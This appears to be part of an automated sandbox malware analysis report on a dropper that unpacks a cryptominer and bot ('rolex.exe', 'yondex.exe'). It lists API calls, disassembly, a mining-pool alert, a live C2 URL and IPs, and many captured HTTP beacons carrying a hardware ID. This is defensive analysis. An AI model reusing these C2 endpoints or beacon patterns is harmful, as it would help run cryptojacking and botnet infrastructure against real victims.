EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF65594B190
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF6559340BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF6559340BC
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF65595FCA0 FindFirstFileExA,	0_2_00007FF65595FCA0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4A40BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7AB4A40BC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4BB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	3_2_00007FF7AB4BB190
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4CFCA0 FindFirstFileExA,	3_2_00007FF7AB4CFCA0

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4x nop then jmp 013F13B6h	4_2_013F1248
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4x nop then jmp 013F331Ch	4_2_013F2E9E
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_013F059C
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	4_2_013F0CE0
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then jmp 00C72D7Ch	12_2_00C728FE
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	12_2_00C70CE7
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	12_2_00C7059C
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then jmp 00C713B6h	12_2_00C71251
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then jmp 02FD2F4Ch	16_2_02FD2ACE
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then jmp 02FD13B6h	16_2_02FD1248
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	16_2_02FD0CE0
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	16_2_02FD059C

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2047928 ET TROJAN CoinMiner Domain in DNS Lookup (pool .supportxmr .com) 192.168.2.4:49698 -> 1.1.1.1:53

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://cv99160.tw1.ru/cmd.php

Source: global traffic	TCP traffic: 192.168.2.4:49732 -> 141.94.96.144:3333
Source: global traffic	TCP traffic: 192.168.2.4:49825 -> 141.94.96.195:3333
Source: global traffic	TCP traffic: 192.168.2.4:49843 -> 141.94.96.71:3333

Source: Joe Sandbox View	IP Address: 141.94.96.195 141.94.96.195
Source: Joe Sandbox View	IP Address: 92.53.96.121 92.53.96.121
Source: Joe Sandbox View	IP Address: 141.94.96.71 141.94.96.71
Source: Joe Sandbox View	IP Address: 141.94.96.144 141.94.96.144

Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese
Source: Joe Sandbox View	ASN Name: TIMEWEB-ASRU TIMEWEB-ASRU
Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese
Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
